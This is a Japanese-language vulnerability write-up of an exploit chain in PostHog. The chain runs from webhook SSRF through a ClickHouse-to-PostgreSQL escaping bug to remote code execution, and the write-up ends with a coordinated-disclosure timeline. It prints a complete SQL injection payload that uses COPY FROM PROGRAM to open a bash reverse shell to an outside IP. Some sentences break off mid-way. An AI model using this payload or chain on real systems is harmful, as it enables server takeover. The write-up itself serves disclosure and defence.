Inside PostHog: SSRF, ClickHouse SQL Escape and Default Postgres Creds to RCE

それは、オフィスでのまた一つの日でした。私たちのチームは内部で別のプラットフォーム分析ソリューションへの移行を検討し、Posthogにより傾いていました。Posthogは市場で最高級の製品のひとつだと考えています。

1. リサーチ期間

どんな製品も真剣に検討する前に、厳格な24時間「リサーチウィンドウ」を設けます。マーケティング資料や機能表は一切見ず、実際の環境で動作を確認し、ソースレベルで詳細に調査します。

2. Posthog – 初期設定

• インストールは簡単でした：

  docker compose up

  （またはドキュメントにあるワンライナー）で数分以内に完全なインスタンスが動作します。
• 公式ドキュメントを参照し、全体構成を把握した上で攻撃シナリオを設計するための細かい調整を行いました。

以下は簡略化した図です。
注: Rustで書かれたワーカーとプラグインサービス（「Celery」ボックス）は図に示していませんが、後ほど不可欠になります。

3. SSRF脆弱性

Posthogは数千の外部統合をサポートしているため、Server‑Side Request Forgery（SSRF）のリスクがあります。
主要アプリケーション、ワーカー、プラグインのソースコードをレビューし、以下の3つのSSRF脆弱性を特定しました。

ここでは CVE‑2023‑46746（Posthog Rust Webhook Handler SSRF）に焦点を当てます。

3.1 テストエンドポイント

/api/user/test_slack_webhook/

@require_http_methods(["POST"])
@authenticate_secondarily
def test_slack_webhook(request):
    ...
    if not settings.DEBUG:
        raise_if_user_provided_url_unsafe(webhook)
        session.mount("https://", PublicIPOnlyHttpAdapter())
        session.mount("http://", PublicIPOnlyHttpAdapter())
    response = session.post(webhook, verify=False, json=message)

POST http://localhost/

{"error":"invalid webhook URL"}

3.2 セーブエンドポイント

セーブ時には同じチェックが行われません。フロントエンドをバイパスし、直接 PATCH リクエストを送ることで内部アドレス（例：

http://localhost

3.3 ワーカーのトリガー

Data Management → Actions → New Action で全イベントにマッチする正規表現を設定し、新しいアクションを作成します。任意のイベントが発生すると Rust webhook ワーカーが起動し、設定された URL にリクエストを送信します。

4. Rust Webhook Worker – SSRFプリミティブ

rust/hook-worker/src/worker.rs

send_webhook

async fn send_webhook(
    client: reqwest::Client,
    method: &HttpMethod,
    url: &str,
    headers: &collections::HashMap<String, String>,
    body: String,
) -> Result<reqwest::Response, WebhookError> {
    let method: http::Method = method.into();
    let url: reqwest::Url = (url).parse().map_err(WebhookParseError::ParseUrlError)?;
    ...
    client.request(method, url)
          .headers(headers)
          .body(body)
          .send()
          .await

ワーカーは HTTP リダイレクトを追跡するため、POST が内部サービスへの GET にリダイレクトされるケースがあります。

5. ClickHouse – PostgreSQL テーブル関数経由の SQL インジェクション

Posthog の分析バックエンドは ClickHouse です。ポート

8123

postgresql()

SELECT * FROM ('db:5432','posthog', 'posthog_table','posthog','posthog')

ClickHouse 内部で提供されたテーブル名を使って PostgreSQL クエリを構築します。エスケープロジックが誤ってバックスラッシュを使用しており、シングルクォートの二重化ではないため、Remote PostgreSQL Injection が発生します。

例：単一引用符を注入

http://clickhouse:8123/?query=SELECT * FROM ('db:5432','posthog', 'posthog_table\'','posthog','posthog')

これにより ClickHouse は次のようなクエリを生成します：

COPY (SELECT ... WHERE relname = 'posthog_user\'' AND ...) TO STDOUT

バックスラッシュは PostgreSQL で無視され、任意の SQL を注入できます。

6. リモートコード実行へのエスカレーション

GET は読み取り専用ですので、COPY トランザクションを

;END;

FROM PROGRAM

SELECT * FROM postgresql('db:5432','posthog',
"posthog_use'))+TO+STDOUT;END;
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM $$bash -c 'bash -i >& /dev/tcp/172.31.221.180/4444 0>&1'$$;
SELECT * FROM cmd_exec;
--",'posthog','posthog')#

主なテクニック：

• $$

  ドル引用符を使ってエスケープの衝突を回避。
• 元の COPY を

  '))+TO+STDOUT

  で閉じる。
• トランザクション終了は

  ;END;

  。

このペイロードにより PostgreSQL から攻撃者へリバースシェルが生成されます。

7. 完全な攻撃チェーン

1. セーブ時の webhook URL バリデーション忘れ。
2. Rust ワーカーに SSRF 保護なし。
3. SSRF リダイレクトで POST → GET 内部変換。
4. ClickHouse PostgreSQL エスケープバグによる SQL インジェクション。
5. COPY トランザクション終了 (

   ;END;

   ) と

   FROM PROGRAM

   注入。
6. ドル引用符でシェルコマンドを安全に埋め込み。
7. 静的 ClickHouse Docker 名と PostgreSQL 認証情報で侵入が容易化。

8. 証明コード

python rust-webhook-ssrf-rce.py

このスクリプトは認証、悪意ある webhook URL の保存、アクション作成を行い、最終的にポート

8888

9. 責任ある開示

Zero Day Initiative (ZDI) の調整とベンダーコミュニケーション・修正追跡のサポートに感謝します。

• 2024‑10‑03 – ZDI による脆弱性報告
• 2025‑02‑25 – コーディネーテッド公開アドバイザリ発表
• 2025‑02‑25 – アドバイザリ更新

このチェーンは、SSRF、入力検証の欠如、微妙なエスケープバグといった見えにくい問題が組み合わさることで、現代の分析スタックで完全なリモートコード実行パスを構築できることを示しています。